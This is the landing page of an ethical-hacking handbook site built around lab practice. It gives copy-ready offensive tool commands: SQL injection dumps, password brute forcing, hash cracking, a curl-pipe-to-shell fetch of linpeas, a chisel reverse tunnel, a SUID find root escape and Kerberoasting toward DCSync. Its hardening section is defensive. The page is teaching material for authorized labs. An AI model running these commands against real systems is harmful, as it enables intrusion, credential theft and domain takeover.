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The Ethical Hacker's
Command Handbook

"Structured commands, practical workflows, and authorized educational laboratory references."

military_tech TryHackMe: Top 2% Globally task_alt 140+ Rooms Completed school Pre Security & Cyber 101 Completed trending_up Jr Penetration Tester (In Progress)

15

Core Modules

30

PDF Handbooks

250+

Commands & Tools

100%

Authorized Labs

A structured technical reference spanning core reconnaissance, operating systems, offensive tooling, credential analysis, system hardening, Python automation, and local AI agentic workflows. All commands and methodologies are tailored strictly for authorized laboratory environments.

terminal

Practice All Commands Interactively

Run real Nmap, Gobuster, Hydra, Metasploit & Linux commands in the browser sandbox.

Launch Terminal Lab arrow_forward

security

Offensive Payloads Cheatsheet (RCE · CMDi · LFI)

TryHackMe-style cheatsheet with interactive LHOST/LPORT generators and filter bypasses.

Open Payload Hub bolt

CURRICULUM ARCHITECTURE

Documentation Modules (01 – 15)

Explore the complete handbook curriculum organized from foundational computer systems to offensive security tools and AI automation.

MODULE // 01 FOUNDATION

01 — Foundations & Ethics

Security fundamentals, CIA Triad, scoping rules of engagement (ROE), ethics, and authorized testing methodology.

Theory: Core Pillars Read Module →

MODULE // 02 FOUNDATION

02 — Computer & OS Fundamentals

CPU registers, RAM addressability, processes, threads, system calls, virtual memory, and kernel privilege boundaries.

Theory: Hardware & OS Explore Theory →

MODULE // 03 BEGINNER

03 — Linux Essentials for Practitioners

POSIX filesystem hierarchy, chmod/chown permissions, process controls (ps, top), systemd units, and admin commands.

Lab: Linux Permissions Read Module →

MODULE // 04 BEGINNER

04 — Networking & Packet Analysis

TCP/IP stack, 3-way handshakes, tcpdump capture filters, and Wireshark protocol analysis.

Theory: OSI & TCP/IP Read Module →

MODULE // 05 BEGINNER

05 — Reconnaissance & OSINT

Passive intelligence gathering, WHOIS, DNS record querying (dig/nslookup), Certificate Transparency, and surface mapping.

Lab: Recon Vectors Read Module →

MODULE // 06 INTERMEDIATE

06 — Enumeration & Nmap Scanning

Active port discovery, SYN stealth sweeps (-sS), service version fingerprinting (-sV), and NSE vulnerability scripts.

Lab: Network Service Enum Read Module →

MODULE // 07 INTERMEDIATE

07 — Web Application Security

OWASP Top 10 vulnerabilities, Burp Suite proxy interception, endpoint fuzzing with ffuf, and parameter tampering.

Labs: SQLi, XSS, IDOR Read Module →

MODULE // 08 INTERMEDIATE

08 — Credentials & Hash Analysis

Hash identification (MD5, SHA-256, NTLM), offline dictionary testing with John the Ripper, and credential defenses.

Theory: Password Hashing Read Module →

MODULE // 09 ADVANCED

09 — Privilege Escalation (Linux & Windows)

SUID binary escapes via GTFOBins, sudo misconfigurations, vulnerable cron jobs, and capabilities abuse.

Lab: SUID PrivEsc Read Module →

MODULE // 10 ADVANCED

10 — Controlled Exploitation & MSF

Authorized exploit staging, Metasploit auxiliary scanners, Meterpreter payloads, and reverse shell handlers.

Payloads Hub Read Module →

MODULE // 11 INTERMEDIATE

11 — Defensive Security & Hardening

Host hardening, UFW firewall filtering, SSH key authentication enforcement, and auditd/auth.log monitoring.

Theory: Zero Trust & DMZ Read Module →

MODULE // 12 REFERENCE

12 — Security Tools Master Command Index

Master syntax reference for 25+ essential tools: Nmap, Burp, ffuf, Wireshark, Metasploit, Hydra, and SQLMap.

250+ Commands Read Reference →

MODULE // 13 INTERMEDIATE

13 — Security Automation with Python

Building automated tooling: Socket port probes, HTTP vulnerability verifiers, regex log parsers, and CLI interfaces.

Python Tooling Read Module →

MODULE // 14 ADVANCED

14 — Advanced Security & AI Agents

Local AI models (Ollama, Qwen), automated vulnerability triage, agentic penetration workflows, and LLM defense.

AI Security Read Module →

MODULE // 15 REFERENCE

15 — Methodology & Vulnerability Research

Searchsploit local Exploit-DB querying, offline proof-of-concept analysis, CVE triage, and reporting frameworks.

Exploit-DB CLI Read Module →

OPERATIONAL ARSENAL & REAL-WORLD METHODOLOGY

Pentesters Tool Index & Engagement Scenarios

Master copy-ready syntax for industry-standard offensive tools alongside step-by-step methodologies mapping recon to root execution.

NMAP NETWORK RECON

Fast SYN stealth scan with version detection and default safe NSE scripts.

nmap -sS -sV -sC -T4 -p- 10.10.110.45

Flags: -sS -sV -sC -T4 Chapter Guide →

GOBUSTER WEB DIRECTORY FUZZING

High-speed HTTP directory and virtual host brute forcing.

gobuster dir -u http://10.10.110.45 -w /usr/share/wordlists/dirb/common.txt -x php,txt

Flags: -u -w -x -t 30 Command Ref →

SQLMAP DATABASE INJECTION

Automated detection and exploitation of SQL injection vulnerabilities.

sqlmap -u "http://10.10.110.45/product.php?id=1" --batch --dbs

Flags: --dbs -T -D --dump Web Security →

HYDRA ONLINE LOGIN AUDITING

Parallelized login cracker supporting SSH, FTP, HTTP-POST, and RDP.

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.110.45 -t 4

Flags: -l -P -t 4 ssh:// Credential Sec →

HASHCAT GPU HASH RECOVERY

World's fastest hash cracker with GPU acceleration and rule engines.

hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Modes: -m 0 (MD5), -m 1000 (NTLM) Module 08 →

SEARCHSPLOIT VULN RESEARCH

Offline search engine for Exploit-DB vulnerability proofs of concept.

searchsploit "vsftpd 2.3.4" -m unix/remote/49757.py

Flags: --cve -w -m Chapter Guide →

LINPEAS LINUX PRIVESC

Automated search for privilege escalation vectors on Linux systems.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Audits: SUID, Sudo, Capabilities PrivEsc Module →

CHISEL SOCKS5 PIVOTING

Fast TCP/UDP tunnel over HTTP encrypted via SSH for pivoting into internal subnets.

./chisel client 10.10.14.23:8000 R:1080:socks

Used with Proxychains Pivoting Docs →

HANDS-ON ENGAGEMENT METHODOLOGY

5 Real-World Penetration Testing Walkthroughs

See how tools combine into an authentic end-to-end attack chain. Each scenario walks through an actual engagement phase with expected outputs and practitioner insights.

Scenario 01: Web Recon to Root Shell (Black-Box Compromise) 5 Steps

[1] Network Recon:

$ nmap -sS -sV -sC -T4 10.10.110.45

Found: Port 21 (vsftpd 2.3.4), Port 22 (SSH), Port 80 (Apache 2.4.52).

[2] Web Directory Fuzzing:

$ gobuster dir -u http://10.10.110.45 -w /usr/share/wordlists/dirb/common.txt -x php

Found: /admin (301) and /product.php?id=1 (200).

[3] Database Extraction:

$ sqlmap -u "http://10.10.110.45/product.php?id=1" -D users_production -T accounts --dump

Result: Recovered admin credentials (admin:Password123).

[4] Foothold & PrivEsc:

$ ssh admin@10.10.110.45

$ find / -perm -4000 -type f 2>/dev/null → SUID /usr/bin/find

$ find . -exec /bin/sh -p \; -quit

[+] ROOT ACCESS ACQUIRED: uid=0(root) gid=0(root)

Scenario 02: Active Directory Internal Recon & Kerberoasting 4 Steps

[1] Port Identification:

$ nmap -p 88,135,139,445,389 10.10.10.150

[2] Anonymous SMB Audit:

$ smbclient -L //10.10.10.150/ -N

[3] Kerberos Ticket Extraction (GetUserSPNs):

$ GetUserSPNs.py corp.local/guest:Password@10.10.10.150 -request -outputfile kerberoast.txt

[4] Hash Cracking with Hashcat:

$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

[+] Service Account Compromised → DCSync Domain Takeover via secretsdump.py!

Scenario 03: Linux Hardening, Auditd Forensics & Defense 3 Steps

[1] SSH Hardening:

$ sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config

$ sudo systemctl restart sshd

[2] Real-time Identity Auditd Rule:

$ sudo auditctl -w /etc/passwd -p wa -k passwd_tamper

$ sudo auditctl -w /etc/shadow -p wa -k shadow_tamper

[3] Host Firewall Strict Filtering:

$ sudo ufw default deny incoming && sudo ufw default allow outgoing

$ sudo ufw allow 22/tcp && sudo ufw enable

OFFLINE COMPANION GUIDES

Complete PDF Download Library (30 Files)

Access every chapter in printable PDF format. Includes 4 master handbooks and all 26 granular chapter breakdown documents covering Nmap scanning parameters, Metasploit modules, Linux fundamentals, and Searchsploit research.

download Open PDF Download Center (30)

The Ethical Hacker'sCommand Handbook

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